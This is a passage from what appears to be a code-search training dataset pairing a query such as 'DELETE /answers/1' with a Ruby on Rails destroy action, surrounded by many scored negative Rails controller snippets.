"0.6729326",
"0.67278224",
"0.67278224",
"0.67278224",
"0.6726923",
"0.6710359",
"0.66990787",
"0.66854334",
"0.66788423",
"0.667396",
"0.6662287",
"0.6646871",
"0.6631762",
"0.66216034",
"0.66216034",
"0.66216034",
"0.65988827",
"0.65969366",
"0.6596531",
"0.6585386",
"0.65579724",
"0.65556735",
"0.6553512",
"0.654153",
"0.6532284",
"0.65318286",
"0.65136355",
"0.65091336",
"0.65090483",
"0.65079355",
"0.6506773",
"0.6503185",
"0.6496257",
"0.6492562",
"0.6492111",
"0.6490581",
"0.6469946",
"0.6466663",
"0.6456249",
"0.6446001",
"0.6437286",
"0.64341956",
"0.6432149",
"0.6423559",
"0.6421404",
"0.6415862",
"0.64127815",
"0.64127815",
"0.64127815",
"0.64127815",
"0.64127815",
"0.64035285",
"0.63900983",
"0.6381071",
"0.6378936",
"0.63658047",
"0.6357094",
"0.6350861",
"0.63494766",
"0.63476384",
"0.63420963",
"0.63357735",
"0.63352275",
"0.6324395",
"0.6322454",
"0.6320272",
"0.631797",
"0.6313354",
"0.63117105",
"0.6307857",
"0.6307857",
"0.6307857",
"0.6296519",
"0.6286536",
"0.6280592",
"0.6263717",
"0.62589055",
"0.6254193",
"0.62534815",
"0.62414294"
] |
0.0
|
-1
|
DELETE /answers/1 DELETE /answers/1.json
|
def destroy
@replay.destroy
respond_to do |format|
format.html { redirect_to admin_answers_path, notice: 'Replay was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n answer = Answer.find(params[:answer_id])\n answer.destroy\n \n render json: {success: true}\n end",
"def destroy\n @answer = Answer.find_by_key(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer = current_user.answers.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @question_answer = Question::Answer.find(params[:id])\n @question_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to question_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t#@answer.destroy\n\t\t#respond_to do |format|\n\t\t#\tformat.html { redirect_to answers_url }\n\t\t#\tformat.json { head :no_content }\n\t\t#end\n\n\tend",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Answer deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer.destroy\n\n head :no_content\n end",
"def destroy\n @client_answer = ClientAnswer.find(params[:id])\n @client_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to client_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer = @question.answers.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_answers_url(@question)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answerable = @answer\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to @answerable }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n answer = Answer.find params[:id]\n \n if can? :delete, answer\n answer.destroy\n render json: { status: 200 }, status: 200\n else\n render json: { status: 403 }, status: 403\n end\n end",
"def destroy\n @v1_answer.destroy\n end",
"def destroy\n @answer = Admin::Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @quiz_answer.destroy\n respond_to do |format|\n format.html { redirect_to quiz_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submitted_answer = SubmittedAnswer.find(params[:id])\n @submitted_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to submitted_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_answer = UserAnswer.find(params[:id])\n @user_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to user_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:question_id])\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to @question }\n format.json { head :no_content }\n end\n end",
"def destroy_rest\n @entry_answer = EntryAnswer.find(params[:id])\n @entry_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(entry_answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @survey_answer = SurveyAnswer.find(params[:id])\n @survey_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(survey_answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @survey_answer_item = SurveyAnswerItem.find(params[:id])\n @survey_answer_item.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_answer_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @textanswer = Textanswer.find(params[:id])\n @textanswer.destroy\n\n respond_to do |format|\n format.html { redirect_to textanswers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: '回答を削除しました。' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n @m_answer.destroy\n respond_to do |format|\n format.html { redirect_to m_question_path(@m_question) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer_respondent.destroy\n respond_to do |format|\n format.html { redirect_to answer_respondents_url, notice: 'Answer respondent was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @given_answer.destroy\n respond_to do |format|\n format.html { redirect_to given_answers_url, notice: 'Given answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quick_answer = QuickAnswer.find(params[:id])\n @quick_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to quick_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:question_id])\n @answer = @question.answers.find(params[:id])\n authorize! :destroy, @answer\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to @question }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:question_id])\n\n if !@question\n redirect_to :controller => :questions, :action => \"show\", :id => params[:question_id]\n end\n\n @answer = @question.answers.find(params[:id])\n\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to @question }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question_answer.destroy\n respond_to do |format|\n format.html { redirect_to question_answers_url, notice: 'Question answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fake_answer.destroy\n respond_to do |format|\n format.html { redirect_to fake_answers_url, notice: 'Fake answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n @question=@answer.question\n @question.update(cant_answers: @question.cant_answers - 1)\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to @question, notice: 'La respuesta fue borrada con exito' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to community_question_path(params[:community_id], params[:question_id]) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @actual_answer.destroy\n respond_to do |format|\n format.html { redirect_to actual_answers_url, notice: 'Actual answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ask_answer = AskAnswer.find(params[:id])\n @ask_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(ask_answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to models_url, notice: 'Model was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_url(params[:survey_id]) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @icebreaker_answer.destroy\n respond_to do |format|\n format.html { redirect_to icebreaker_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @check_answer.destroy\n respond_to do |format|\n format.html { redirect_to check_answers_url, notice: 'Check answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asked_to_answer.destroy\n respond_to do |format|\n format.html { redirect_to asked_to_answers_url, notice: 'Asked to answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @online_answer = OnlineAnswer.find(params[:id])\n @online_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to online_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer.destroy\n respond_with( [ :admin, @survey, @section, @question, @answer ] )\n end",
"def destroy\n @answer.destroy\n\n respond_to_destroy(@answer, [@question, :answers])\n end",
"def destroy\n @tipo_answer.destroy\n respond_to do |format|\n format.html { redirect_to tipo_answers_url, notice: 'Tipo answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student_answer = StudentAnswer.find(params[:id])\n @student_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to student_answers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @survey_user_answer.destroy\n respond_to do |format|\n format.html { redirect_to survey_user_answers_url, notice: 'Survey user answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @examquestion.destroy\n respond_to do |format|\n format.html { redirect_to examquestions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submitted_answer.destroy\n respond_to do |format|\n format.html { redirect_to submitted_answers_url, notice: 'Submitted answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer_record.destroy\n respond_to do |format|\n format.html { redirect_to answer_records_url, notice: 'Answer record was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @selected_answer.destroy\n respond_to do |format|\n format.html { redirect_to selected_answers_url, notice: 'Selected answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @survey.destroy\n respond_to do |format|\n format.html { redirect_to surveys_url, notice: \"Le questionnaire vient d'être détruit.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer_tag.destroy\n respond_to do |format|\n format.html { redirect_to answer_tags_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v1_questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :ok }\n end\n end",
"def destroy\n #@question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @studanswer.destroy\n respond_to do |format|\n format.html { redirect_to studanswers_url, notice: 'Studanswer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @pre_test_answer.destroy\n respond_to do |format|\n format.html { redirect_to pre_test_answers_url, notice: 'Pre test answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n p request.method\n @answer.destroy\n redirect_to @question, notice: t(:answer_destroy)\n\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n\tend",
"def destroy\n @multiple_choice_question = MultipleChoiceQuestion.find(params[:id])\n @multiple_choice_question.destroy\n\n respond_to do |format|\n format.html { redirect_to multiple_choice_questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question_learned.destroy\n respond_to do |format|\n format.html { redirect_to question_question_learneds_path(@question) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answer.create_activity :destroy, owner: @answer.user\n @answer.destroy\n\n flash.now[:notice] = 'Answer was successfully removed.'\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n format.js { render \"answers/destroy\", :layout => false }\n end\n end",
"def destroy\n @possible_answer.destroy\n respond_to do |format|\n format.html { redirect_to possible_answers_url, notice: 'Possible answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_answer_comment.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_answer_comments_url, notice: 'Answer comment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @differentiator_answer = DifferentiatorAnswer.find(params[:id])\n @differentiator_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(differentiator_answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user_answer.destroy\n respond_to do |format|\n format.html { redirect_to user_answers_url, notice: 'User answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_answer.destroy\n respond_to do |format|\n format.html { redirect_to user_answers_url, notice: 'User answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :ok }\n end\n end"
] |
[
"0.78710014",
"0.78369373",
"0.7804042",
"0.7804042",
"0.7779011",
"0.7779011",
"0.77608424",
"0.76613045",
"0.7621687",
"0.7613219",
"0.75670874",
"0.75555795",
"0.75216275",
"0.7514131",
"0.7514131",
"0.7514131",
"0.7514131",
"0.7514131",
"0.75009054",
"0.75009054",
"0.75009054",
"0.75009054",
"0.74951816",
"0.747214",
"0.74698025",
"0.7460743",
"0.7453996",
"0.73829204",
"0.73779947",
"0.73626924",
"0.7360606",
"0.73481834",
"0.734274",
"0.73328507",
"0.7327364",
"0.73267406",
"0.73226994",
"0.7317002",
"0.731659",
"0.730715",
"0.72834295",
"0.7277528",
"0.7270591",
"0.7266836",
"0.7260887",
"0.72577316",
"0.72577316",
"0.72382575",
"0.72338355",
"0.72305",
"0.7225048",
"0.72192615",
"0.72083884",
"0.7195624",
"0.7190657",
"0.71868026",
"0.7185067",
"0.7181885",
"0.7166849",
"0.71583235",
"0.71513003",
"0.714655",
"0.7143906",
"0.71183133",
"0.71046406",
"0.7103197",
"0.70996135",
"0.70996135",
"0.70996135",
"0.70996135",
"0.70996135",
"0.70996135",
"0.709673",
"0.7093732",
"0.70918494",
"0.70907754",
"0.70711756",
"0.70711756",
"0.7060938",
"0.7050638",
"0.7043618",
"0.70428765",
"0.70428765",
"0.70428765",
"0.70428765",
"0.70428765",
"0.70428765",
"0.70420027",
"0.7040623",
"0.70389163",
"0.70300967",
"0.70286965",
"0.7027665",
"0.7027663",
"0.70262086",
"0.7026065",
"0.7020116",
"0.7015376",
"0.7012475",
"0.7012475",
"0.7012423"
] |
0.0
|
-1
|
Use callbacks to share common setup or constraints between actions.
|
def set_replay
@replay = Replay.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
